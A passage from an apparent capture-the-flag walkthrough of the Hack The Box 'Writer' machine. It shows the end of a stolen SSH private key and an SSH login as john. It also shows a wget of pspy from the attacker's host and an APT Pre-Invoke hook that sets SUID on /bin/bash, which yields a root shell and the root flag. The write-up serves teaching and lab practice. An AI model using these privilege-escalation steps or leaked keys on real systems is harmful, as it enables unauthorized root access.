sfahK65k6+Yc91qFWl5R3Zw9wUZl/G10irJuYXUDAAAFiN5gLYDeYC2AAAAAB3NzaC1yc2
EAAAGBAMajli2xt+lQaRRM9hDWsNA38DESyXQ90KWiAKadu0r5LbFmN4Tic8AuPix6Kpya
SHYv6iw508eb/LweuytOH/uBSZdn2FUsMDCK33P/gh8XE668PriEVSIlLihTs52hu0G6oh
RNQrJpzQH+5s+AouVX5I8H2a9fK3bmlFwXTVSMz8DZy+PMMxdUB4FZ0Uwgd4u+qR0qGRAN
GzA5FHKlriNGft1TmZYRqdP79o69iR/7gOlNIOGJvL6oMLxHk5NYDTyDOn4PcRGDFMPhoV
0OUNwjzwFVGgH0Q0or1rczRdV3BCx9aHxfmWOOL3EKaaL1oMjmsNnwB1unmkyHH4cNxMU9
lUoe6pt/TSEypAB8KD0O1SW02NFI/O/o+kVe8UCWajhtAEsXeGNT7yohoZHrRTnemtpvHK
ScLCxRkDbRgOJIrBvJv/2kLGX5ZWDyOJ+ANaV4v+zQNBOHMTR/sbf/2TEcLLH2oSuuZOvm
HPdahVpeUd2cPcFGZfxtdIqybmF1AwAAAAMBAAEAAAGAZMExObg9SvDoe82VunDLerIE+T
9IQ9fe70S/A8RZ7et6S9NHMfYTNFXAX5sP5iMzwg8HvqsOSt9KULldwtd7zXyEsXGQ/5LM
VrL6KMJfZBm2eBkvzzQAYrNtODNMlhYk/3AFKjsOK6USwYJj3Lio55+vZQVcW2Hwj/zhH9
0J8msCLhXLH57CA4Ex1WCTkwOc35sz+IET+VpMgidRwd1b+LSXQPhYnRAUjlvtcfWdikVt
2+itVvkgbayuG7JKnqA4IQTrgoJuC/s4ZT4M8qh4SuN/ANHGohCuNsOcb5xp/E2WmZ3Gcm
bB0XE4BEhilAWLts4yexGrQ9So+eAXnfWZHRObhugy88TGy4v05B3z955EWDFnrJX0aMXn
l6N71m/g5XoYJ6hu5tazJtaHrZQsD5f71DCTLTSe1ZMwea6MnPisV8O7PC/PFIBP+5mdPf
3RXx0i7i5rLGdlTGJZUa+i/vGObbURyd5EECiS/Lpi0dnmUJKcgEKpf37xQgrFpTExAAAA
wQDY6oeUVizwq7qNRqjtE8Cx2PvMDMYmCp4ub8UgG0JVsOVWenyikyYLaOqWr4gUxIXtCt
A4BOWMkRaBBn+3YeqxRmOUo2iU4O3GQym3KnZsvqO8MoYeWtWuL+tnJNgDNQInzGZ4/SFK
23cynzsQBgb1V8u63gRX/IyYCWxZOHYpQb+yqPQUyGcdBjpkU3JQbb2Rrb5rXWzUCzjQJm
Zs9F7wWV5O3OcDBcSQRCSrES3VxY+FUuODhPrrmAtgFKdkZGYAAADBAPSpB9WrW9cg0gta
9CFhgTt/IW75KE7eXIkVV/NH9lI4At6X4dQTSUXBFhqhzZcHq4aXzGEq4ALvUPP9yP7p7S
2BdgeQ7loiRBng6WrRlXazS++5NjI3rWL5cmHJ1H8VN6Z23+ee0O8x62IoYKdWqKWSCEGu
dvMK1rPd3Mgj5x1lrM7nXTEuMbJEAoX8+AAxQ6KcEABWZ1xmZeA4MLeQTBMeoB+1HYYm+1
3NK8iNqGBR7bjv2XmVY6tDJaMJ+iJGdQAAAMEAz9h/44kuux7/DiyeWV/+MXy5vK2sJPmH
Q87F9dTHwIzXQyx7xEZN7YHdBr7PHf7PYd4zNqW3GWL3reMjAtMYdir7hd1G6PjmtcJBA7
Vikbn3mEwRCjFa5XcRP9VX8nhwVoRGuf8QmD0beSm8WUb8wKBVkmNoPZNGNJb0xvSmFEJ/
BwT0yAhKXBsBk18mx8roPS+wd9MTZ7XAUX6F2mZ9T12aIYQCajbzpd+fJ/N64NhIxRh54f
Nwy7uLkQ0cIY6XAAAAC2pvaG5Ad3JpdGVyAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
```

{% hint style="warning" %}
Don't worry if this whole process doesn't work at first. Keep changing the `/etc/postfix/disclaimer` file and try to execute the `send.py` script several times until it works.
{% endhint %}

Now that we have the `id_rsa` file, let's give it the right permissions, and use it to log in with the `john` user via *ssh*.

> chmod 600 id\_rsa
>
> ssh -i id\_rsa john\@10.10.11.101

```
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon  7 Mar 11:08:46 UTC 2022

  System load:           0.04
  Usage of /:            64.8% of 6.82GB
  Memory usage:          29%
  Swap usage:            0%
  Processes:             261
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.101
  IPv6 address for eth0: dead:beef::250:56ff:feb9:16c5


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Jul 28 09:19:58 2021 from 10.10.14.19
john@writer:~$
```

Let's transfer [pspy](https://github.com/DominicBreuker/pspy) to the `writer` machine.

{% hint style="info" %}
**pspy** is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute.

<https://github.com/DominicBreuker/pspy>
{% endhint %}

> python -m http.server

```
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

On the `writer` machine.

> wget <http://10.10.14.11:8000/pspy64>

```
--2022-03-07 11:31:07--  http://10.10.14.11:8000/pspy64
Connecting to 10.10.14.11:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                                                      100%[========================================================================================================================================>]   2.94M  1.84MB/s    in 1.6s    

2022-03-07 11:31:09 (1.84 MB/s) - ‘pspy64’ saved [3078592/3078592]
```

Let's run it.

> chmod +x pspy64 && ./pspy64

```
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
```

We will see, among other processes, that an `apt-get update` is being executed by the `root` user with `UID=0`.

```
2022/03/07 11:32:24 CMD: UID=0    PID=46278  | /usr/bin/apt-get update 
2022/03/07 11:32:24 CMD: UID=0    PID=46274  | /bin/sh -c /usr/bin/apt-get update
```

If we see which groups the user `john` belongs to, we can see that he belongs to the `management` group.

> id

```
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)
```

Let's see what files have the `management` group as owner group, and what permissions we have on them.

> find / -group management 2>/dev/null | xargs ls -ld

```
drwxrwxr-x 2 root management 4096 Jul 28  2021 /etc/apt/apt.conf.d
```

Whenever an `apt-get update` is made, all the files on the `/etc/apt/apt.conf.d` folder will be executed. And as we have the right permissions to create a file on that folder, and the update is being made by the `root` user, we could create a file which will give the *SUID* permission the `/bin/bash` binary before the system update is made.

> nano /etc/apt/apt.conf.d/test

```
APT::Update::Pre-Invoke  {"chmod +s /bin/bash";};
```

Then, we wait until the update is made, and the `/bin/bash` should have the *SUID* permission assigned.

> ls -l /bin/bash

```
-rwsr-sr-x 1 root root 1183448 Jun 18  2020 /bin/bash
```

And finally, all we have to do is reap the harvest and take the root flag.

> bash -p

```
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt 
7d9f4abfb9b32589aa8bf5c1a86a5f65
```
